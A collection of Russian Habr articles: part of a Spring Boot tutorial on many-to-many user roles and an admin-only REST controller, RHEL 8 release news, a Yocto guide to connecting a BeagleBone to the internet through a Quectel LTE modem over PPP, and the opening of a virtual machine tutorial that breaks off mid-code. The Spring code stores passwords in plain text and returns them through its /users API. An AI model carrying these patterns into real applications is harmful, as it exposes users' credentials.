* git clone [github.com/MaxPovver/ForHabrahabr.git](https://github.com/MaxPovver/ForHabrahabr.git)
* cd ForHabrahabr/
* git checkout withauth
* Готово, теперь можете грузить проект в студию так же как описано в первой части.
#### 1.2 Что мы будем делать в этой части?
В этой части мы рассмотрим как хранятся отношения многие-ко-многим на уровне объектов сущностей;
доделаем распределения прав пользователям;
сделаем простейший REST-controller;
сделаем регистрацию новых пользователей (только для админа);
и все это без XML.
### 2 Фиксим распределение ролей между пользователями
Как кто-то наверняка заметил, на данный момент у нас вместо получения прав пользователей из базы приделана жутковатого вида заглушка, совершенно не гибкая причем.
Что же нужно чтобы эта исправить? Ввести такую сущность как «роль». У одного юзера может быть несколько ролей, причем множество пользователей может иметь одну и ту же роль. Т.е. классическое **Many-To-Many**.
#### 2.1 Работа с базой
Для начала заведем табличку roles (id, role), не забыв указать что значения в role должны быть уникальными. Также создадим вспомогательную таблицу users\_roles(user\_id, role\_id). И сразу же создадим базовые роли ADMIN, USER, GUEST. Ну и сразу создадим для связывающей страницы внешние ключи user\_id -> user.id, role\_id -> role.id. Все это можно сделать сразу, выполнив вот такой скрипт:
**Просто запустить**
```
# Дамп таблицы roles
# ------------------------------------------------------------
DROP TABLE IF EXISTS `roles`;
CREATE TABLE `roles` (
`id` bigint(20) unsigned NOT NULL AUTO_INCREMENT,
`role` varchar(250) DEFAULT NULL,
PRIMARY KEY (`id`),
UNIQUE KEY `id` (`id`),
UNIQUE KEY `role` (`role`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8;
INSERT INTO `roles` (`id`, `role`)
VALUES
(1,'ADMIN'),
(3,'GUEST'),
(2,'USER');
# Дамп таблицы users
# ------------------------------------------------------------
DROP TABLE IF EXISTS `users`;
CREATE TABLE `users` (
`id` bigint(20) unsigned NOT NULL AUTO_INCREMENT,
`username` varchar(250) DEFAULT NULL,
`password` varchar(250) DEFAULT NULL,
PRIMARY KEY (`id`),
UNIQUE KEY `id` (`id`),
UNIQUE KEY `username` (`username`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8;
INSERT INTO `users` (`id`, `username`, `password`)
VALUES
(1,'user','user');
# Дамп таблицы users_roles
# ------------------------------------------------------------
DROP TABLE IF EXISTS `users_roles`;
CREATE TABLE `users_roles` (
`user_id` bigint(20) unsigned DEFAULT NULL,
`role_id` bigint(20) unsigned DEFAULT NULL,
KEY `hasuser` (`user_id`),
KEY `hasrole` (`role_id`),
CONSTRAINT `hasrole` FOREIGN KEY (`role_id`) REFERENCES `roles` (`id`) ON DELETE CASCADE ON UPDATE CASCADE,
CONSTRAINT `hasuser` FOREIGN KEY (`user_id`) REFERENCES `users` (`id`) ON DELETE CASCADE ON UPDATE CASCADE
) ENGINE=InnoDB DEFAULT CHARSET=utf8;
```
#### 2.2 Пишем код
Сначала зайдем Application.class и уточним расположение Jpa репозиториев:
```
@EnableJpaRepositories(basePackages = {"habraspring.repositories"})
```
Теперь создадим в entities/ класс Role замапленный на запись в базе:
**Role.java**
```
@Entity
@Table(name="roles")
public class Role {
@Id
@GeneratedValue(strategy = GenerationType.AUTO)
private long id;
private String role;
public long getId() {
return id;
}
public void setId(long id) {
this.id = id;
}
public String getRole() {
return role;
}
public void setRole(String role) {
this.role = role;
}
protected Role(){}
public Role(String name)
{
role = name;
}
}
```
Ок, а как теперь свзать их с классом User? Для этого нужно всего лишь добавить в User вот такой код:
```
@ManyToMany
@JoinTable(name = "users_roles",
joinColumns = {@JoinColumn(name = "user_id")},
inverseJoinColumns = @JoinColumn(name = "role_id"))
private Set roles;
public Set getRoles() {
return roles;
}
public void setRoles(Set roles) {
this.roles = roles;
}
```
Здесь мы указываем таблицу связи двух сущностей, какая колонка в этой таблице соответствует нашей сущности( joinColumns = { @JoinColumn(name = «user\_id»)}), а какая — связываемой сущности: inverseJoinColumns = @JoinColumn(name = «role\_id»).
В классе Role все проще:
```
@ManyToMany(mappedBy = "roles")
Set users;
public Set getUsers() {
return users;
}
public void setUsers(Set users) {
this.users = users;
}
```
Чтобы Spring устроила наша роль как Authorithy, надо в классе Role реализовать интерфейс GrantedAuthority:
```
public class Role implements GrantedAuthority {
...
@Override
public String getAuthority() {
return getRole();
}
}
```
Готово! Теперь мы можем переписать MySQLUserDetailsService:
```
@Service
public class MySQLUserDetailsService implements UserDetailsService {
@Autowired
UsersRepository users;
@Override
public UserDetails loadUserByUsername(String username) throws UsernameNotFoundException {
UserDetails loadedUser;
try {
User client = users.findByUsername(username);
loadedUser = new org.springframework.security.core.userdetails.User(
client.getUsername(), client.getPassword(),
client.getRoles());
} catch (Exception repositoryProblem) {
throw new InternalAuthenticationServiceException(repositoryProblem.getMessage(), repositoryProblem);
}
return loadedUser;
}
}
```
Теперь мы грузим authorities через user.getRoles(), а не мусорный класс, так что пользователь получит только те роли, которые присвоены ему в базе.
На данный момент мы это не используем, но чуть позже вы увидите, как можно разграничивать доступ в зависимости от роли пользователя.
Итак, создадим простенький rest controller для работы с пользователями доступный только для пользователей с правами админа.
### 3. Создаем контроллер UsersController
Для начала создадим папку controllers, а в ней — UsersContoller:
```
package habraspring.controllers;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
@RestController
@RequestMapping("/users")
public class UsersController {
}
```
Итак, во первых мы отметили что это контроллер rest, что значит что возвращать он будет не полноценные html странички, а сырые данные, по умолчанию в формате Json. @RequestMapping("/users") — это означает, что срабатывать он будет на зпрос от пользователя вида «[yoursite/users](http://yoursite/users)». Но мы тут собираемся пользователями рулить, в то время как открыть этот контроллер может любой авторизованный пользоватль! Так что добавляем волшебную строчку:
```
@PreAuthorize("hasRole('ADMIN')")
```
Внутри контроллера проверка прав теперь вообще не нужна, туда попасть сможет только тот у кого уже роль ADMIN имеется.
Теперь добавим вывод всех пользователей:
```
@Autowired
UsersRepository users;
@RequestMapping(method = RequestMethod.GET)
public List getUsers()
{
List result = new ArrayList<>();
users.findAll().forEach(result::add);
return result;
}
```
Попробуйте перейти по адресу <http://localhost:8080/users> если все сделали правильно, будет ошибка 403. А теперь добавьте пользователю админские права, для этого надо добавить в users\_roles запись (1,1), если у вас такие же id юзера и роли ADMIN как у меня. После добавления нового значения в таблицу идем в <http://localhost:8080/secret> и жмем там logout чтобы перезайти заново(для подгрузки новых прав). Теперь пробуем открыть <http://localhost:8080/users>. Должно вывести что-то такое:
**Много букв**[{«id»:1,«username»:«user»,«password»:«user»,«roles»:[{«id»:1,«role»:«ADMIN»,«users»:[{«id»:1,«username»:«user»,«password»:«user»,«roles»:[{«id»:1,«role»:«ADMIN»,«users»:[{«id»:1,«username»:«user»,«password»:«user»,«roles»:[{«id»:1,«role»:«ADMIN»,«users»:[{«id»:1,«username»:«user»,«password»:«user»,«roles»:[{«id»:1,«role»:«ADMIN»,«users»:[{«id»:1,«username»:«user»,«password»:«user»,«roles»:[{«id»:1,«role»:«ADMIN»,«users»:[{«id»:1,«username»:«user»,«password»:«user»,«roles»:[{«id»:1,«role»:«ADMIN»,«users»:[{«id»:1,«username»:«user»,«password»:«user»,«roles»:[{«id»:1,«role»:«ADMIN»,«users»:[{«id»:1,«username»:«user»,«password»:«user»,«roles»:[{«id»:1,«role»:«ADMIN»,«users»:[{«id»:1,«username»:«user»,«password»:«user»,«roles»:[{«id»:1,«role»:«ADMIN»,«users»:[{«id»:1,«username»:«user»,«password»:«user»,«roles»:[{«id»:1,«role»:«ADMIN»,«users»:[{«id»:1,«username»:«user»,«password»:«user»,«roles»:[{«id»:1,«role»:«ADMIN»,«users»:[{«id»:1,«username»:«user»,«password»:«user»,«roles»:[{«id»:1,«role»:«ADMIN»,«users»:[{«id»:1,«username»:«user»,«password»:«user»,«roles»:[{«id»:1,«role»:«ADMIN»,«users»:[{«id»:1,«username»:«user»,«password»:«user»,«roles»:[{«id»:1,«role»:«ADMIN»,«users»:[{«id»:1,«username»:«user»,«password»:«user»,«roles»:[{«id»:1,«role»:«ADMIN»,«users»:
В чем же дело, у на ведь всего один пользователь? Тут все просто — в автоматическом выводе объекта как json выводятся и все его поля, в итоге если в одном из них есть он же, это превращается в бесконечный цикл. Чтобы поправить досадную оплошность, добавим полю users в классе Role аннотацию JsonIgnore:
```
import com.fasterxml.jackson.annotation.JsonIgnore;
...
@JsonIgnore
@ManyToMany(mappedBy = "roles")
Set users;
```
Перезапускаем приложение, перезаходим в <http://localhost:8080/users> и видим нормальный вывод:
```
[{"id":1,"username":"user","password":"user","roles":[{"id":1,"role":"ADMIN","authority":"ADMIN"}]}]
```
Ок, теперь добавим еще парочку методов и «user-friendly» интерфейс для создания новых пользователей.
#### 3.1 Реализуем создание нового пользователя
Для этого сначала реализуем метод который по POST запросу добавит новую сущность:
```
@RequestMapping(method = RequestMethod.POST)
public User addUser(String username, String password, String password_confirm)
{
//no empty fields allowed
if (username.isEmpty() || password.isEmpty() || password_confirm.isEmpty())
return null;
//passwords should match
if (!password.equals(password_confirm))
return null;
return users.save(new User(username, password));
}
```
Уже неплохо, из стороннего api теперь можно пост запросом юзеров добавлять, а как в самом нашем приложении это делать?
Для этого создадим вложенный маршрут /add, который будет отрабатывать по запросу GET /users/add:
```
@RequestMapping(value = "/add",method = RequestMethod.GET)
public ModelAndView getUserForm()
{
return new ModelAndView("add");
}
```
И в resources/templates/ добавим add.html:
```
Add user page
User Name :
Password:
Password confirm:
```
Поля формы будут напрямую конвертироваться в параметры функции создания пользователя с таким же названием, крайне удобно, по-моему.
Напрямую вывести шаблон в @RestController мы не можем, так что используем для этого вспомогательный класс ModelAndView в который достаточно передать название view (без.html).
Готово, теперь можно напрямую на сайте создавать новых пользователей с помощью rest либо с помощью формы в /users/add.
#### 3.2 Добавляем работу с конкретным пользователем
Осталось добавить два простейших метода которые выдают/удаляют конкретного пользователя(запрос типа GET/DELETE /users/2):
```
@RequestMapping(value = "/{id}", method = RequestMethod.DELETE)
public void delete(@PathVariable("id") Long id)
{
users.delete(id);
}
@RequestMapping(value = "/{id}", method = RequestMethod.GET)
public User getUser(@PathVariable("id") Long id)
{
return users.findOne(id);
}
```
Данные методы по-моему самодокументируемы. Аннотация PathVariable(«значение») вытаскивает из запроса то, что будет в нем вместо шаблона {значение}(в нашем случае — цифра).
### 4. Для желающих запустить готовый проект
Ветка <https://github.com/MaxPovver/ForHabrahabr/tree/withcontroller> содержит все нужное, только сначала надо будет запустить import\_me.sql в вашей БД.(после скачивания/клонирования не забудьте сделать checkout)
### 5. Заключение
Хотелось уместить в этой статье сильно больше, на она по-моему и так уже слегка перегружена, а я еще даже до половины не дошел. Так что тестирование, OneToMany и еще несколько интересных вещей придется оставить на следующую статью, если, конечно, будет интерес к теме.
Удачи! | https://habr.com/ru/post/262361/ | null | ru | null |
# Официальный релиз Red Hat Enterprise Linux 8
Релиз Red Hat Enterprise Linux 8 cостоялся 7-го мая 2019 года, основан на Fedora 28 и ядре 4.18. Скачать можно [здесь](https://developers.redhat.com/products/rhel/download/).
#### Ключевые изменения
* Версия Python по умолчанию теперь 3.6, версия 2.7 поддерживается ограниченно.
При установке ОС пакеты с Python не устанавливаются.
* В комплект пакетов теперь входят NodeJs и следующие языки программирования: PHP 7.2, Ruby 2.5, Perl 5.26 и SWIG 3.0.
* Базы данных в дистрибутиве: MariaDB 10.3, MySQL 8.0, PostgreSQL 10, PostgreSQL 9.6, Redis 5.
* Так же в релиз включены Apache web server 2.4 и Nginx 1.14.
* Графическая оболочка — GNOME shell 3.28.
* В качестве графического сервера по умолчанию теперь используется Wayland, X.org так же доступен. Однако:
+ Wayland не поддерживает несколько видеокарт одновременно.
+ Драйвер NVIDIA не работает под Wayland.
+ Запись экрана, удалённый рабочий стол не всегда работают корректно.
+ Wayland игнорирует захват клавиатуры другими программами, например, менеджерами виртуальных машин.
+ Wayland работает нестабильно внутри виртуальных машин, рекомендуется использовать X.org
* Установщик Anaconda поддерживает шифрование дисков LUKS2 и установку системы на модули памяти NVDIMM.
* TLS 1.0 и TLS 1.1 объявлены устаревшими и отключены в политиках шифрования по умолчанию.
Тем не менее их можно вернуть командой
**```
# update-crypto-policies --set LEGACY
```**
* Алгоритм цифровой подписи (DSA) объявлен устаревшим и механизмы, которые зависят от ключей DSA, не будут работать в настройках по умолчанию. Клиенты SSH **не принимают ключи DSA** даже при установке политики шифрования «LEGACY» по умолчанию.
→ [Полная информация о релизе](https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/8/html/8.0_release_notes/overview) | https://habr.com/ru/post/451374/ | null | ru | null |
# GSM/3G/4G-модемы во встраиваемых системах на примере LTE-модема Quectel EC21 и Yocto Project

Многим устройствам на базе встраиваемых систем необходим интернет. Проводное подключение к интернету для них не всегда возможно, и если устройства находятся в зоне действия сотовой связи, то к интернету можно подключиться с помощью GSM/3G/4G-модемов.
В этой заметке описан процесс создания дистрибутива ОС Linux для встраиваемой системы при помощи инструментария Yocto Project, позволяющий подключать устройство к интернету через GSM/3G/4G-модем и протокол PPP.
### Содержание
* [Оборудование и программное обеспечение](#oborudovanie-i-programmnoe-obespechenie)
* [Подготовка ПК для сборки дистрибутива](#podgotovka-pk-dlya-sborki-distributiv)
* [Создание проекта и сборка дистрибутива](#sozdanie-proekta-i-sborka-distributiva)
* [Добавление поддержки протокола PPP в ядро ОС](#dobavlenie-podderzhki-protokola-ppp-v-yadro-os)
* [Добавление в дистрибутив пакета ppp](#dobavlenie-v-distributiv-paketa-ppp)
* [Скрипты для pppd и chat](#skripty-dlya-pppd-i-chat)
* [Рецепт расширения для пакета ppp](#recept-rasshireniya-dlya-paketa-ppp)
* [Заключение и ссылка на проект](#zaklyuchenie-i-ssylka-na-proekt)
### Оборудование и программное обеспечение
Дистрибутив ОС Linux для встраиваемой системы будем собирать с помощью [Yocto Project](https://www.yoctoproject.org/) версии THUD 2.6.4 на ПК под управлением ОС Ubuntu 18.04.
Роль встраиваемой системы будет играть устройство [BeagleBone Black Rev. C](https://beagleboard.org/black) с подключенным к нему LTE-модемом [Quectel EC21-E](https://www.quectel.com/product/ec21.htm). Для этого мы воспользуемся отладочным набором [UMTS<E EVB](https://www.quectel.com/product/umtsevb.htm) для тестирования UMTS и LTE модулей Quectel. Структурная схема стенда, с которым мы будем экспериментировать, приведена на рис. 1.

Рисунок 1 — Структурная схема стенда
### Подготовка ПК для сборки дистрибутива
Убедитесь, что на вашем ПК есть 50 ГБ свободного дискового пространства и на нем установлены:
* Git версии 1.8.3.1 или новее;
* Tar версии 1.27 или новее;
* Python версии 3.4.0 или новее.
Установим необходимые пакеты:
```
$ sudo apt-get install gawk wget git-core diffstat unzip texinfo \
gcc-multilib build-essential chrpath socat \
cpio python python3 python3-pip python3-pexpect \
xz-utils debianutils iputils-ping libsdl1.2-dev xterm
```
На этом подготовка ПК для сборки дистрибутива с использованием инструментария Yocto Project закончена. Любопытные читатели могут получить более подробную информацию ознакомившись с [Yocto Project Quick Build](https://www.yoctoproject.org/docs/2.6.4/brief-yoctoprojectqs/brief-yoctoprojectqs.html).
### Создание проекта и сборка дистрибутива
Создадим в домашней директории каталог, где у нас будет хранится репозитории `Poky` и мета-слои с рецептами. Назовем его `habr-yocto-lte`:
```
~$ mkdir habr-yocto-lte
```
Перейдем в директорию `habr-yocto-lte` и создадим пустой `git` репозиторий:
```
~$ cd habr-yocto-lte
~/habr-yocto-lte$ git init
```
Добавим в созданный `git`-репозиторий, в виде подмодулей, проект `Poky` и слой `meta-ti`:
```
~/habr-yocto-lte$ git submodule add -b thud git://git.yoctoproject.org/poky.git
~/habr-yocto-lte$ git submodule add -b thud git://git.yoctoproject.org/meta-ti
```
`Poky` это как раз тот самый инструмент, с помощью которого мы будем собирать наш дистрибутив, а `meta-ti` – это слой, который объединяет в себе наборы рецептов, классов и конфигурационных файлов для процессоров Texas Instruments. Подробнее о том, что такое `Poky` и мета-слои можно узнать из [Yocto Project Overview and Concepts Manual](https://www.yoctoproject.org/docs/2.5/overview-manual/overview-manual.html).
Создадим файл `oe-init-build-env` и сделаем его исполняемым:
```
~/habr-yocto-lte$ touch oe-init-build-env
~/habr-yocto-lte$ chmod +x oe-init-build-env
```
Добавим в него следующий код:
```
#!/bin/sh
source $(pwd)/poky/oe-init-build-env build
```
Файл `oe-init-build-env` мы будем запускать всякий раз, при открытии нового окна терминала. Давайте запустим его командой:
```
~/habr-yocto-lte$ source ./oe-init-build-env
```
При первом выполнении скрипта в папке `~/habr-yocto-lte` будет создана папка `build`, содержащая конфигурационные файлы и результаты сборки дистрибутива, а в окне терминала мы увидим нечто вроде этого:
```
### Shell environment set up for builds. ###
You can now run 'bitbake '
Common targets are:
core-image-minimal
core-image-sato
meta-toolchain
meta-ide-support
You can also run generated qemu images with a command like 'runqemu qemux86'
```
В принципе, теперь у нас все готово для сборки дистрибутива, но мы сделаем еще несколько «штрихов»:
* Добавим слой `meta-ti` и удалим слой `meta-poky-bsp`. Для этого запишем в переменную `BBLAYERS`, которая находится в файле `~/habr-yocto-lte/build/conf/bblayers.conf`, следующее значение:
```
BBLAYERS ?= " \
/home/alex/habr/poky/meta \
/home/alex/habr/poky/meta-poky \
/home/alex/habr/meta-ti \
"
```
* В качестве целевой системы, на которой будет работать наш дистрибутив выберем `beaglebone`. Разрешим запись истории сборки, это поможет нам понять какие пакеты были установлены в дистрибутив, узнать их размер и др. Формат пакетов сделаем `ipk` и разрешим модули ядра. Вместо `sysvinit` будем использовать `systemd`. Обновим конфигурацию дистрибутива, добавив в конец файла `~/habr-yocto-lte/build/conf/local.conf` следующие строки:
```
MACHINE = "beaglebone"
INHERIT += "buildhistory"
BUILDHISTORY_COMMIT = "1"
PACKAGE_CLASSES = "package_ipk"
CORE_IMAGE_EXTRA_INSTALL += " kernel-modules"
DISTRO_FEATURES_append = " systemd"
DISTRO_FEATURES_BACKFILL_CONSIDERED += "sysvinit"
VIRTUAL-RUNTIME_init_manager = "systemd"
VIRTUAL-RUNTIME_initscripts = "systemd-compat-units"
```
Запустим сборку дистрибутива:
```
~/habr-yocto-lte/build$ bitbake –k core-image-base
```
Пока собирается дистрибутив можете пойти вздремнуть, у вас есть на это часа 4 :). Потом будет собираться всё гораздо быстрее.
Дистрибутив сохранится в каталоге `~/habr-yocto-lte/build/tmp/deploy/images/beaglebone`
### Добавление поддержки протокола PPP в ядро ОС
Устройство, на котором будет установлен дистрибутив, созданный в предыдущем разделе, уже сможет распознать LTE-модуль Quectel EC21-E, т.к. его драйвера есть в ядре Linux. Однако для подключения устройства к интернету нам необходимо добавить поддержку протокола PPP в ядро Linux, а также добавить в наш дистрибутив пакет `ppp` и написать для него файл расширения рецепта, который «расскажет» `bitbake` как и куда установить в нашем дистрибутиве необходимые файлы для `pppd` и `chat`, являющиеся частью пакета `ppp`.
Для конфигурирования ядра выполним команду:
```
~/habr-yocto-lte/build$ bitbake virtual/kernel -c menuconfig
```
Откроется стандартное окно `menuconfig` в котором надо выбрать:
```
Device drivers --->
[*] Network device support --->
PPP (point-to-point protocol) support
PPP BSD-Compress compression
PPP Deflate compression
<\*> PPP filtering
PPP MPPE compression (encryption)
<\*> PPP multilink support
PPP over Ethernet
PPP support for async serial ports
PPP support for sync tty ports
```
Сохраняем конфигурацию и выходим из `menuconfig`. Учтите, что эта конфигурация будет применяться только на том ПК, на каком она была сохранена. Для того что бы она применялась на любом ПК при клонировании проекта из репозитория, необходимо сохранить конфигурацию в файле `defconfig` и написать рецепт расширения для `recipes-kernel`.
Сохраним конфигурацию ядра в файле `defconfig`:
```
~/habr-yocto-lte/build$ bitbake virtual/kernel -c savedefconfig
```
Файл `defconfig` сохранится в каталоге `~/habr-yocto-lte/build/tmp/work/beaglebone-poky-linux-gnueabi/linux-ti-staging/4.19.94+gitAUTOINC+5a23bc00e0-r22a/build`
Все рецепты расширения и рецепты, написанные нами, будем хранить в отдельном мета-слое. Создадим и назовем его `meta-habr`:
```
~/habr-yocto-lte/build$ bitbake-layers create-layer ~/habr-yocto-lte/meta-habr
```
В каталоге `~/habr-yocto-lte` появится директория `meta-habr` – это и есть наш мета-слой. В этой директории будет пример рецепта `recipes-example`, он нам не нужен, удалим его, а затем добавим наш мета-слой в файл `bblayers.conf`:
```
~/habr-yocto-lte/build$ rm -r ~/ habr-yocto-lte/meta-habr/recipes-example/
~/habr-yocto-lte/build$ bitbake-layers add-layer ~/habr-yocto-lte/meta-habr
```
Пришло время сделать рецепт расширения для ядра Linux. Создаем необходимые каталоги и файлы:
```
~/habr-yocto-lte$ mkdir – p meta-habr/recipes-kernel/linux/linux-ti-staging/beaglebone
~/habr-yocto-lte$ touch meta-habr/recipes-kernel/linux/linux-ti-staging_%.bbappend
```
Копируем ранее созданный файл `defconfig` в каталог `~/habr-yocto-lte/meta-habr/recipes-kernel/linux/linux-ti-staging/beaglebone`
```
~/habr-yocto-lte$ cp ~/habr-yocto-lte/build/tmp/work/beaglebone-poky-linux-gnueabi/linux-ti-staging/4.19.94+gitAUTOINC+5a23bc00e0-r22a/build/defconfig meta-habr/recipes-kernel/linux/linux-ti-staging/beaglebone
```
и добавляем в файл `linux-ti-staging_%.bbappend` следующий код:
```
FILESEXTRAPATHS_prepend := "${THISDIR}/${PN}:"
SRC_URI += "file://defconfig"
```
Теперь конфигурация ядра, определенная в файле `defconfig` будет применяться всегда при сборке дистрибутива. Соберём его и убедимся, что требуемые модули PPP установлены:
```
~/habr-yocto-lte/build$ bitbake –k core-image-base
~/habr-yocto-lte/build$ cat buildhistory/images/beaglebone/glibc/core-image-base/installed-packages.txt | grep "ppp"
--------------------------------------------------------
kernel-module-ppp-async-4.19.94-g5a23bc00e0_4.19.94+git0+5a23bc00e0-r22a_beaglebone.ipk
kernel-module-ppp-deflate-4.19.94-g5a23bc00e0_4.19.94+git0+5a23bc00e0-r22a_beaglebone.ipk
kernel-module-ppp-generic-4.19.94-g5a23bc00e0_4.19.94+git0+5a23bc00e0-r22a_beaglebone.ipk
kernel-module-ppp-mppe-4.19.94-g5a23bc00e0_4.19.94+git0+5a23bc00e0-r22a_beaglebone.ipk
kernel-module-pppoe-4.19.94-g5a23bc00e0_4.19.94+git0+5a23bc00e0-r22a_beaglebone.ipk
kernel-module-pppox-4.19.94-g5a23bc00e0_4.19.94+git0+5a23bc00e0-r22a_beaglebone.ipk
kernel-module-ppp-synctty-4.19.94-g5a23bc00e0_4.19.94+git0+5a23bc00e0-r22a_beaglebone.ipk
```
### Добавление в дистрибутив пакета ppp
Пакеты программ добавляются в дистрибутив с помощью переменной `IMAGE_INSTALL_append`. Добавим её в конец файла `local.conf` и присвоим ей значение соответствующее имени пакета:
```
IMAGE_INSTALL_append = " ppp"
```
Соберём дистрибутив и убедимся, что пакет `ppp` установлен:
```
~/habr-yocto-lte/build$ bitbake –k core-image-base
~/habr-yocto-lte/build$ cat buildhistory/images/beaglebone/glibc/core-image-base/installed-packages.txt | grep "ppp_"
--------------------------------------------------------
ppp_2.4.7-r0_beaglebone.ipk
```
Теперь в нашем дистрибутиве есть все для того чтобы подключить устройство к интернету через LTE-модем. Однако мне лично не очень хочется настраивать `pppd` и `chat`, входящие в пакет `ppp`, непосредственно на устройстве. Поэтому давайте добавим необходимые скрипты для этих программ в наш дистрибутив с помощью расширения рецепта `ppp`.
### Скрипты для pppd и chat
Создадим три файла скриптов `habrppp`, `habr-chat-connect` и `habr-chat-disconnect` со следующим содержимым:
* *habrppp*
```
/dev/ttyUSB3
921600
user "beeline"
password "beeline"
connect 'chat -s -v -f /etc/ppp/peers/habr-chat-connect'
disconnect 'chat -s -v -f /etc/ppp/peers/habr-chat-disconnect'
hide-password
noauth
debug
defaultroute
noipdefault
persist
```
* *habr-chat-connect*
```
ABORT "BUSY"
ABORT "NO CARRIER"
ABORT "NO DIALTONE"
ABORT "ERROR"
ABORT "NO ANSWER"
TIMEOUT 30
"" AT
OK ATE0
OK ATI;+CSUB;+CSQ;+CPIN?;+COPS?;+CGREG?;&D2
OK AT+CGDCONT=1,"IP","static.beeline.ru",,0,0
OK ATD*99#
CONNECT ""
```
* *habr-chat-disconnect*
```
ABORT "ERROR"
ABORT "NO DIALTONE"
"" +++
"" +++
"" +++
```
Несколько комментариев по представленным выше скриптам.
LTE-модуль Quectel EC21-E определятся в системе в виде четырёх последовательных портов:
* `ttyUSB0` – порт отладки
* `ttyUSB1` – порт для сообщений GPS NMEA
* `ttyUSB2` – порт для AT-команд
* `ttyUSB3` – порт для установления соединения PPP
Если в вашей системе есть другие USB-устройства, то нумерация портов, возможно, будет отличаться от приведенной выше, но последовательность останется та же. Поскольку в нашей системе нумерация портов соответствует выше приведенной, то в скрипте `habrppp` мы указали в качестве порта для соединения по протоколу PPP порт `/dev/ttyUSB3`.
Обратите внимание на поля `user` и `password` в скрипте `habrppp`, а также на `APN` в команде `AT+CGDCONT` в скрипте `habr-chat-connect`, они должны быть установлены согласно рекомендациям сотового оператора.
### Рецепт расширения для пакета ppp
Осталось совсем чуть-чуть. Создадим каталоги и файл для рецепта расширения `ppp`:
```
~/habr-yocto-lte$ mkdir –p meta-habr/recipes-connectivity/ppp/ppp/beaglebone
~/habr-yocto-lte$ touch meta-habr/recipes-connectivity/ppp/ppp_%.bbappend
```
Скопируем скрипты, написанные в предыдущем разделе в папку `~/habr-yocto-lte/meta-habr/recipes-connectivity/ppp/ppp/beaglebone` и добавим следующее содержимое в файл `ppp_%.bbappend`:
```
FILESEXTRAPATHS_prepend := "${THISDIR}/${PN}:"
SRC_URI += "file://habrppp \
file://habr-chat-connect \
file://habr-chat-disconnect \
file://20-habr-modem.rules \
"
do_install_append () {
install -m 0755 ${WORKDIR}/habrppp ${D}${sysconfdir}/ppp/peers/habrppp
install -m 0755 ${WORKDIR}/habr-chat-connect ${D}${sysconfdir}/ppp/peers/habr-chat-connect
install -m 0755 ${WORKDIR}/habr-chat-disconnect ${D}${sysconfdir}/ppp/peers/habr-chat-disconnect
mkdir -p ${D}${sysconfdir}/udev/rules.d
install -m 0755 ${WORKDIR}/20-habr-modem.rules ${D}${sysconfdir}/udev/rules.d/20-habr-modem.rules
}
```
Вы, наверное, заметили, что к тем трем файлам скрипта добавился файл `20-habr-modem.rules`. Это правило для `udev`, согласно которому при возникновении в системе порта `ttyUSB3` будет автоматически запущена служба `pppd` с нужными нам настройками. Таким образом наше устройство будет всегда подключаться к интернету при подключении модема к USB-порту. Содержимое файла `20-habr-modem.rules`:
```
SUBSYSTEM=="tty", KERNEL=="ttyUSB3", TAG+="systemd", ENV{SYSTEMD_WANTS}="ppp@habrppp.service"
```
### Заключение и ссылка на проект
Осталось собрать наш дистрибутив, с помощью программы [balenaEtcher](https://www.balena.io/etcher/) записать его образ на microSD карту памяти и запустить на устройстве. Теперь наше устройство подключено к интернету:
```
~$ ifconfig
lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:65536 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:0 (0.0 B) TX bytes:0 (0.0 B)
ppp0 Link encap:Point-to-Point Protocol
inet addr:XXX.XXX.XXX.XXX P-t-P:XXX.XXX.XXX.XXX Mask:255.255.255.255
UP POINTOPOINT RUNNING NOARP MULTICAST MTU:1500 Metric:1
RX packets:13 errors:0 dropped:0 overruns:0 frame:0
TX packets:17 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:3
RX bytes:432 (432.0 B) TX bytes:611 (611.0 B)
```
Подключением к интернету через протокол PPP можно управлять вручную, с помощью команд `pon` и `poff`. Для установления соединения выполните команду:
```
~$ pon habrppp
```
Для завершения соединения:
```
~$ poff habrppp
```
---
Проект доступен по адресу <https://gitlab.com/amamaev/habr-yocto-lte>. Для клонирования репозитория выполните команду:
```
~$ git clone --recursive https://gitlab.com/amamaev/habr-yocto-lte.git
```
> Не забудьте скорректировать пути к слоям в файле bblayers.conf | https://habr.com/ru/post/494838/ | null | ru | null |
# Виртуальная машина своими руками
Иногда в голову приходит какая-то мысль избавиться от которой очень сложно. Такое произошло и со мной.
Я решил создать виртуальную машину (VM), учитывая то, что на тот момент у меня не было идей, мне показалось, что это прекрасная мысль. Если вы заинтересовались, то вперёд под кат!
Теория
------
Для начала немного теории. Что вообще такое виртуальная машина? Это программа или набор программ, позволяющий эмулировать какую-нибудь аппаратную платформу, проще говоря эмулятор компьютера.
Сами по себе виртуальные машины бывают разные, к примеру Virtual Box – это классическая виртуальная машина позволяющая эмулировать самый настоящий компьютер, а вот к примеру JVM (виртуальная машина Java) такого не может.
Мой вариант VM будет чем-то схож с JVM просто потому, что это более обучающий проект, нежели направленный на создание мощной VM.
Память
------
Итак, а теперь давайте разберёмся с памятью. Для создания памяти я решил использовать массив unsigned int. Размер массива определим при помощи макроса, в моём варианте размер памяти равен 4096 байт (в массиве 1024 элемента, а так-как на большинстве платформ под данные типа unsigned int выделяется 4 байта то 1024\*4 = 4096), помимо прочего определим 8 регистров по 8 ячеек в каждом это будет уже 256 байт (8\*8\*4 = 256). Выглядит это так:
```
#define MEMSIZE 1024
unsigned int memory[MEMSIZE];
unsigned int reg[8][8];
```
Программирование
----------------
Память у нас есть, а как теперь писать код под нашу VM? Сейчас мы этим вопросом и займёмся, для начала определим команды которые наша машина будет исполнять:
```
enum commands { /* Список комманд / List of commands */
CRG = 1, /* Change ReGister - Выбрать регистр [1] */
CRC, /* Change Register Cell [2] */
PRG, /* Put in ReGister - положить данные в нулевую ячейку регистра [3] */
PRC /* Put Register Cell Положить данные в ячейку [4] */
};
```
Каждая команда имеет свой флаг, определяющий некоторые дополнительные параметры
опишем флаги:
```
enum flags { /* Список флагов / List of flags */
STDI = 1, /* Стандартный флаг / Standard flag */
